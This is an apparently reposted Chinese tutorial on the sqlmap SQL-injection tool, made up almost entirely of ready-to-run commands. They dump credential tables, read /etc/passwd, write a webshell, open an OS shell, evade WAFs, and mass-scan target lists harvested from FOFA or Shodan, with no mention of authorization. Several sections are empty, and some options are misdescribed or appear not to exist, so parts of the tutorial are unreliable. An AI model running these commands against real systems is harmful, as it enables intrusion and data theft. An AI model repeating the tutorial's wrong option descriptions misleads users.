超詳細(xì) sqlmap 使用教程（從入門到進(jìn)階）

sqlmap 是一款強(qiáng)大的開源 SQL 注入自動化測試工具，支持識別并利用多種類型的 SQL 注入漏洞（Boolean-based、Time-based、Error-based、Stacked Queries 等）。它不僅能識別注入，還能實現(xiàn)數(shù)據(jù)庫指紋識別、表結(jié)構(gòu)讀取、數(shù)據(jù)導(dǎo)出、文件讀寫、提權(quán)、命令執(zhí)行等。

一、安裝 sqlmap

方式一：源碼安裝（推薦）

git clone https://gitcode.com/sqlmapproject/sqlmap.git //國內(nèi)鏡像
cd sqlmap
python3 sqlmap.py -h

方式二：APT 安裝（適用于 Kali、Debian）

sudo apt update
sudo apt install sqlmap
sqlmap -h

二、基本命令語法

sqlmap -u "http://target.com/vuln.php?id=1" [options]

• -u：目標(biāo) URL，支持 GET 和 POST 參數(shù)
• --data：提交 POST 參數(shù)
• --cookie：提交 Cookie 頭
• -p：指定注入點參數(shù)
• --batch：自動確認(rèn)（用于腳本執(zhí)行時非交互）
• --random-agent：偽造瀏覽器 UA

三、典型實戰(zhàn)用法大全（按功能分類）

1、基礎(chǔ)測試注入點

1、自動探測 GET 參數(shù)是否存在注入

sqlmap -u "http://site.com/page.php?id=1"

2、測試 POST 請求參數(shù)

sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"

3、帶 Cookie 測試（如登錄后才可注入）

sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"

4、指定注入?yún)?shù)（默認(rèn)會測試所有）

sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id

5、靜態(tài)請求文件（如 Burp 抓包導(dǎo)出的 .txt）

sqlmap -r request.txt

2、數(shù)據(jù)庫識別與信息收集

1、獲取數(shù)據(jù)庫類型和版本

sqlmap -u "http://target.com/?id=1" --banner

2、獲取當(dāng)前數(shù)據(jù)庫名

sqlmap -u "http://target.com/?id=1" --current-db

3、獲取當(dāng)前用戶、權(quán)限

sqlmap -u "http://target.com/?id=1" --current-user --is-dba

4、獲取所有數(shù)據(jù)庫名

sqlmap -u "http://target.com/?id=1" --dbs

5、枚舉數(shù)據(jù)庫的表名

sqlmap -u "http://target.com/?id=1" -D testdb --tables

6、枚舉表內(nèi)字段名

sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns

7、導(dǎo)出數(shù)據(jù)

sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump

3、繞過過濾和防護(hù)機(jī)制

1、偽造 User-Agent / Referer

sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"

2、自定義 HTTP 請求頭

sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"

3、使用隨機(jī) UA 繞過 WAF

sqlmap -u "http://target.com/?id=1" --random-agent

4、使用 tamper 腳本繞過 WAF（如 Cloudflare）

sqlmap -u "http://target.com/?id=1" --tamper=space2comment

推薦組合使用多個：

--tamper=space2comment,charunicodeescape,between

4、特殊注入場景支持

1、支持時間盲注（time-based blind）

sqlmap -u "http://target.com/page.php?id=1" --technique=T

2、支持報錯注入（error-based）

sqlmap -u "http://target.com/page.php?id=1" --technique=E

3、使用堆疊查詢

sqlmap -u "http://target.com/page.php?id=1" --stacked-query

5、文件系統(tǒng)操作（高危）

1、讀取遠(yuǎn)程服務(wù)器文件（如配置文件）

sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"

2、上傳寫入 webshell（需要寫權(quán)限）

sqlmap -u "http://target.com/page.php?id=1" --file-write=./shell.jsp --file-dest="/var/www/html/shell.jsp"

6、系統(tǒng)命令執(zhí)行（高權(quán)限下）

1、執(zhí)行系統(tǒng)命令（如 whoami、ipconfig）

sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami"

2、啟動交互式命令行（非常強(qiáng)大）

sqlmap -u "http://target.com/page.php?id=1" --os-shell

注意：必須具備數(shù)據(jù)庫用戶執(zhí)行系統(tǒng)命令的權(quán)限（如 xp_cmdshell, load_file, into outfile 等）

7、登錄口爆破測試（少見用法）

如果某參數(shù)中存在注入點，sqlmap 可嘗試暴力登錄：

sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user --passwords

8、會話保存 / 自動繼續(xù)掃描

1、保存掃描進(jìn)度

sqlmap -u "http://target.com" --batch --flush-session

2、繼續(xù)之前未完成的任務(wù)

sqlmap -u "http://target.com" --resume

9、指定數(shù)據(jù)庫引擎、注入技術(shù)

--dbms=mysql           # 強(qiáng)制使用 MySQL
--technique=BEUSTQ     # 指定注入技術(shù)

技術(shù)說明：

• B：布爾盲注
• E：報錯注入
• U：聯(lián)合查詢
• S：堆疊語句
• T：時間盲注
• Q：inline 查詢

四、輔助技巧與實用建議

五、實戰(zhàn)案例總結(jié)

例 1：自動識別 + 導(dǎo)出所有數(shù)據(jù)

sqlmap -u "http://example.com/vuln?id=1" --batch --dump-all

例 2：POST 登錄接口注入測試

sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --batch

例 3：使用 Burp 抓包測試

sqlmap -r burp_request.txt --batch

例 4：讀取數(shù)據(jù)庫用戶信息并執(zhí)行 whoami

sqlmap -u "http://target.com/?id=5" --current-user --os-cmd="whoami"

六、總結(jié)建議

?? 七、sqlmap 高級技巧 & 實戰(zhàn)應(yīng)用拓展

1. 自動化批量測試多個目標(biāo)

如果你有一個大量 URL 的列表，比如從 Google/Burp/爬蟲中導(dǎo)出的可疑鏈接：

方法一：使用--batch+--crawl+ Bash 腳本

cat urls.txt | while read url; do
  sqlmap -u "$url" --batch --crawl=2 --threads=5
done

方法二：配合目標(biāo)資產(chǎn)平臺輸出（如 FOFA、Quake、Shodan）

結(jié)合搜索引擎導(dǎo)出資產(chǎn)后：

for u in $(cat fofa_urls.txt); do
  sqlmap -u "$u?search=1" --random-agent --batch --level=3 --risk=2
done

2. 常用組合參數(shù)模板（實戰(zhàn)推薦）

3. 常見 Tamper 繞過腳本說明

sqlmap 支持用 --tamper 參數(shù)指定腳本，在發(fā)送請求前修改 Payload（用于繞過 WAF）：

? 組合使用示例：

sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase --random-agent --batch

4. 對抗防火墻與 WAF 策略

1、檢測是否有 WAF

sqlmap -u "http://target.com/?id=1" --identify-waf

如果提示類似：

[!] WAF/IDS/IPS identified: Cloudflare

就說明目標(biāo)使用了防御系統(tǒng)，應(yīng)切換到：

• 慢速測試：--delay=1 --timeout=10
• 編碼繞過：--tamper
• 限制技術(shù)：--technique=B

5. SQL 注入技術(shù)選型建議

bash復(fù)制編輯--technique=BEUSTQ     # 開啟所有類型
--technique=BEU        # 只測回顯類
--technique=T          # 強(qiáng)制盲注

6. sqlmap session 保存與重用

sqlmap 會默認(rèn)保存掃描歷史到 .sqlmap/output/host/，也支持：

• --flush-session：清除上次掃描緩存
• --resume：恢復(fù)未完成任務(wù)
• --output-dir=custom/：自定義輸出路徑

7. 利用 sqlmap API 進(jìn)行自動化任務(wù)管理

1、啟動 API 服務(wù)端（默認(rèn)端口 8775）

python3 sqlmapapi.py -s

2、與之交互（Python 代碼 / Postman / curl 調(diào)用）

POST /task/new
POST /scan/start
GET  /scan/{id}/log

可搭配 Web UI 或自動化滲透框架集成，例如：

• Awvs + sqlmap 聯(lián)動
• 命令行批量漏洞驗證器中調(diào) sqlmap API

8. 輸出數(shù)據(jù)格式控制

9. sqlmap 配合滲透測試場景

10. 學(xué)習(xí)路徑建議（由淺入深）

1. ? 掌握基本注入點掃描（--dbs --tables --dump）
2. ? 理解 6 大注入技術(shù)（BEUSTQ）
3. ? 學(xué)會繞過 WAF（tamper 編寫與選擇）
4. ? 學(xué)會構(gòu)造 request.txt / Cookie / Header 注入
5. ? 腳本化調(diào)用 sqlmap 自動打點
6. ? 分析源碼、寫 tamper、定制注入 payload

附：推薦資源

? 總結(jié)一句話：

sqlmap 不只是一個掃描工具，它是一臺自動化的數(shù)據(jù)庫信息提取武器庫，只要你掌握參數(shù)，就能完成注入探測、提權(quán)、文件操作等一整套攻擊鏈。

到此這篇關(guān)于sqlmap 使用教程(從入門到進(jìn)階)的文章就介紹到這了,更多相關(guān)sqlmap 使用內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！